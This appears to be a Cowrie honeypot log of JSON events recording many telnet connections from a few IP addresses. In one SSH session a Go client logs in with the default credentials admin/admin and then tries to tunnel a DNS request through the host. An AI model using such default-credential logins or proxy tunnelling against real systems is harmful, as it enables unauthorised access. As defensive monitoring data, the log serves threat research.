{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42574,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bc20f9450b2","protocol":"telnet","message":"New connection: 207.244.241.37:42574 (159.203.135.109:23) [session: 9bc20f9450b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:02.366292Z"}
{"eventid":"cowrie.session.closed","duration":31.253501653671265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:02.468740Z","src_ip":"207.244.241.37","session":"a4d69507e054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43750,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b67d8ceeb5a","protocol":"telnet","message":"New connection: 207.244.241.37:43750 (159.203.135.109:23) [session: 5b67d8ceeb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:03.024442Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43944,"dst_ip":"159.203.135.109","dst_port":23,"session":"54163d7b3322","protocol":"telnet","message":"New connection: 207.244.241.37:43944 (159.203.135.109:23) [session: 54163d7b3322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:03.166494Z"}
{"eventid":"cowrie.session.closed","duration":30.959918975830078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:03.197508Z","src_ip":"207.244.241.37","session":"2a3861a66324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":54576,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6b4471695d","protocol":"telnet","message":"New connection: 216.10.244.42:54576 (159.203.135.109:23) [session: 5b6b4471695d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:03.388685Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":43764,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbb2823686c6","protocol":"telnet","message":"New connection: 207.244.241.37:43764 (159.203.135.109:23) [session: cbb2823686c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:04.035289Z"}
{"eventid":"cowrie.session.closed","duration":30.396074771881104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:04.437689Z","src_ip":"216.10.244.42","session":"e29e29adab94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47844,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c9e2649a188","protocol":"telnet","message":"New connection: 188.208.141.113:47844 (10.17.0.5:23) [session: 3c9e2649a188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:04.902655Z"}
{"eventid":"cowrie.session.closed","duration":31.16429567337036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:07.803440Z","src_ip":"216.10.244.42","session":"3be2ee89af33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746994495391846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:09.098349Z","src_ip":"207.244.241.37","session":"3dc54a8204c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47858,"dst_ip":"10.17.0.5","dst_port":23,"session":"f87c08162b8d","protocol":"telnet","message":"New connection: 188.208.141.113:47858 (10.17.0.5:23) [session: f87c08162b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:09.168836Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"66163ad6c69d","protocol":"telnet","message":"New connection: 207.244.241.37:53042 (159.203.135.109:23) [session: 66163ad6c69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:09.621463Z"}
{"eventid":"cowrie.session.closed","duration":4.971715211868286,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:09.874222Z","src_ip":"188.208.141.113","session":"3c9e2649a188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":32860,"dst_ip":"159.203.135.109","dst_port":23,"session":"99e44eeee361","protocol":"telnet","message":"New connection: 216.10.244.42:32860 (159.203.135.109:23) [session: 99e44eeee361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:09.960553Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":32970,"dst_ip":"159.203.135.109","dst_port":23,"session":"bffa2e75475f","protocol":"telnet","message":"New connection: 216.10.244.42:32970 (159.203.135.109:23) [session: bffa2e75475f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:10.070468Z"}
{"eventid":"cowrie.session.closed","duration":31.05776596069336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:10.434294Z","src_ip":"216.10.244.42","session":"07ca8262765d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.626103162765503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:11.665816Z","src_ip":"207.244.241.37","session":"271b23fbd67a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":57466,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f556e1d7638","protocol":"telnet","message":"New connection: 207.244.241.37:57466 (159.203.135.109:23) [session: 9f556e1d7638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:12.600601Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":36676,"dst_ip":"159.203.135.109","dst_port":23,"session":"abf35b1b6e94","protocol":"telnet","message":"New connection: 216.10.244.42:36676 (159.203.135.109:23) [session: abf35b1b6e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:13.237972Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":34786,"dst_ip":"159.203.135.109","dst_port":23,"session":"4410c30c3b72","protocol":"telnet","message":"New connection: 216.10.244.42:34786 (159.203.135.109:23) [session: 4410c30c3b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:13.373715Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":37068,"dst_ip":"159.203.135.109","dst_port":23,"session":"11b5e655b07e","protocol":"telnet","message":"New connection: 216.10.244.42:37068 (159.203.135.109:23) [session: 11b5e655b07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:14.656214Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":45598,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2f0de0b0ee9","protocol":"telnet","message":"New connection: 206.189.32.23:45598 (10.17.0.5:23) [session: a2f0de0b0ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:15.419595Z"}
{"eventid":"cowrie.session.closed","duration":31.677956104278564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:16.459581Z","src_ip":"216.10.244.42","session":"a26fd38b695b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50877094268799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:18.284485Z","src_ip":"216.10.244.42","session":"2af3b0ea3cd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.302316188812256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:18.431371Z","src_ip":"216.10.244.42","session":"86c16fbabc39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.515318155288696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:18.887253Z","src_ip":"216.10.244.42","session":"20e84ecc5b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.651578903198242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:19.478624Z","src_ip":"216.10.244.42","session":"1efcba58227b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.795220136642456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:19.590620Z","src_ip":"216.10.244.42","session":"76cd718c9a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58336,"dst_ip":"10.17.0.5","dst_port":23,"session":"83f18250edee","protocol":"telnet","message":"New connection: 188.208.141.113:58336 (10.17.0.5:23) [session: 83f18250edee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:20.592039Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":43552,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a853c24b216","protocol":"telnet","message":"New connection: 216.10.244.42:43552 (159.203.135.109:23) [session: 4a853c24b216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:20.666686Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34058,"dst_ip":"10.17.0.5","dst_port":23,"session":"77003acbf3b8","protocol":"telnet","message":"New connection: 188.208.141.113:34058 (10.17.0.5:23) [session: 77003acbf3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:21.425340Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":42844,"dst_ip":"159.203.135.109","dst_port":23,"session":"08f5fa93ff6c","protocol":"telnet","message":"New connection: 207.244.241.37:42844 (159.203.135.109:23) [session: 08f5fa93ff6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:21.462244Z"}
{"eventid":"cowrie.session.closed","duration":31.13871479034424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:21.773380Z","src_ip":"207.244.241.37","session":"412dce377f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48608136177063,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:22.117451Z","src_ip":"216.10.244.42","session":"f00d879d714b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":44414,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b266fbdf9a5","protocol":"telnet","message":"New connection: 207.244.241.37:44414 (159.203.135.109:23) [session: 0b266fbdf9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:22.365659Z"}
{"eventid":"cowrie.session.closed","duration":30.330599546432495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:23.131067Z","src_ip":"207.244.241.37","session":"2323273c0084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":46006,"dst_ip":"159.203.135.109","dst_port":23,"session":"9087c502a749","protocol":"telnet","message":"New connection: 207.244.241.37:46006 (159.203.135.109:23) [session: 9087c502a749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:23.331217Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":46132,"dst_ip":"159.203.135.109","dst_port":23,"session":"debcb8fc7a34","protocol":"telnet","message":"New connection: 207.244.241.37:46132 (159.203.135.109:23) [session: debcb8fc7a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:23.430625Z"}
{"eventid":"cowrie.session.closed","duration":31.024280071258545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:23.509856Z","src_ip":"216.10.244.42","session":"2f72b1c162a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":46376,"dst_ip":"159.203.135.109","dst_port":23,"session":"a294ce1dde2f","protocol":"telnet","message":"New connection: 207.244.241.37:46376 (159.203.135.109:23) [session: a294ce1dde2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:23.585000Z"}
{"eventid":"cowrie.session.closed","duration":31.164183378219604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:23.683098Z","src_ip":"207.244.241.37","session":"ac3efac26c15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47179865837097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:23.772434Z","src_ip":"207.244.241.37","session":"01c1069fcced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917040586471558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:24.163975Z","src_ip":"207.244.241.37","session":"56829002c859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45742,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bd8226313d2","protocol":"telnet","message":"New connection: 207.244.241.37:45742 (159.203.135.109:23) [session: 5bd8226313d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:24.171530Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":46772,"dst_ip":"159.203.135.109","dst_port":23,"session":"108b8e542250","protocol":"telnet","message":"New connection: 216.10.244.42:46772 (159.203.135.109:23) [session: 108b8e542250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:24.328491Z"}
{"eventid":"cowrie.session.closed","duration":31.41202425956726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:24.492481Z","src_ip":"207.244.241.37","session":"f3b9551dd090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45724606513977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:25.131624Z","src_ip":"216.10.244.42","session":"bcc50a65c2ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":47648,"dst_ip":"159.203.135.109","dst_port":23,"session":"a17bc2339cda","protocol":"telnet","message":"New connection: 216.10.244.42:47648 (159.203.135.109:23) [session: a17bc2339cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:25.388425Z"}
{"eventid":"cowrie.session.closed","duration":31.385616779327393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:25.706971Z","src_ip":"207.244.241.37","session":"77ea0228ca6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.25765800476074,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:25.841794Z","src_ip":"188.208.141.113","session":"c1b45e74d465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.87037014961243,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:25.846994Z","src_ip":"188.208.141.113","session":"89217686424f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":48186,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b6407f4754","protocol":"telnet","message":"New connection: 216.10.244.42:48186 (159.203.135.109:23) [session: 45b6407f4754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:26.037801Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":48206,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f42db742006","protocol":"telnet","message":"New connection: 216.10.244.42:48206 (159.203.135.109:23) [session: 7f42db742006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:26.091614Z"}
{"eventid":"cowrie.session.closed","duration":30.660494565963745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:26.294138Z","src_ip":"207.244.241.37","session":"8a3a2686939e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9050,"dst_ip":"10.17.0.5","dst_port":22,"session":"1acf197d0716","protocol":"ssh","message":"New connection: 87.251.64.176:9050 (10.17.0.5:22) [session: 1acf197d0716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:26.881955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:26.887109Z","src_ip":"87.251.64.176","session":"1acf197d0716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.384149074554443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:26.916080Z","src_ip":"216.10.244.42","session":"7d844c444878","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:27.000070Z","src_ip":"87.251.64.176","session":"1acf197d0716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.365787982940674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:27.046181Z","src_ip":"207.244.241.37","session":"88ec309421bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207042694091797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:27.059462Z","src_ip":"216.10.244.42","session":"6abcfb89cc81","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:27.311058Z","src_ip":"87.251.64.176","session":"1acf197d0716","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:27.409693Z","session":"1acf197d0716","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:27.508444Z","src_ip":"87.251.64.176","session":"1acf197d0716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:27.606589Z","src_ip":"87.251.64.176","session":"1acf197d0716","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34064,"dst_ip":"10.17.0.5","dst_port":23,"session":"80c115756fd2","protocol":"telnet","message":"New connection: 188.208.141.113:34064 (10.17.0.5:23) [session: 80c115756fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:27.831852Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":49000,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b2b558f684","protocol":"telnet","message":"New connection: 216.10.244.42:49000 (159.203.135.109:23) [session: a9b2b558f684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:27.941535Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34080,"dst_ip":"10.17.0.5","dst_port":23,"session":"091ce2a26f05","protocol":"telnet","message":"New connection: 188.208.141.113:34080 (10.17.0.5:23) [session: 091ce2a26f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:29.286435Z"}
{"eventid":"cowrie.session.closed","duration":31.189289569854736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:29.552598Z","src_ip":"216.10.244.42","session":"49d41bf48652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684082746505737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:29.613758Z","src_ip":"216.10.244.42","session":"08fe814e8ba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.845343351364136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:29.986992Z","src_ip":"207.244.241.37","session":"69b970c6333e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":51144,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb9fe1ab376d","protocol":"telnet","message":"New connection: 216.10.244.42:51144 (159.203.135.109:23) [session: eb9fe1ab376d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:30.471222Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":56804,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d48ccfc1627","protocol":"telnet","message":"New connection: 207.244.241.37:56804 (159.203.135.109:23) [session: 1d48ccfc1627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:30.592431Z"}
{"eventid":"cowrie.session.closed","duration":30.97945475578308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:31.435151Z","src_ip":"216.10.244.42","session":"1186f22e5202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82015109062195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:31.485732Z","src_ip":"216.10.244.42","session":"c327728a6dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830517530441284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:33.196660Z","src_ip":"207.244.241.37","session":"9bc20f9450b2","protocol":"telnet"}
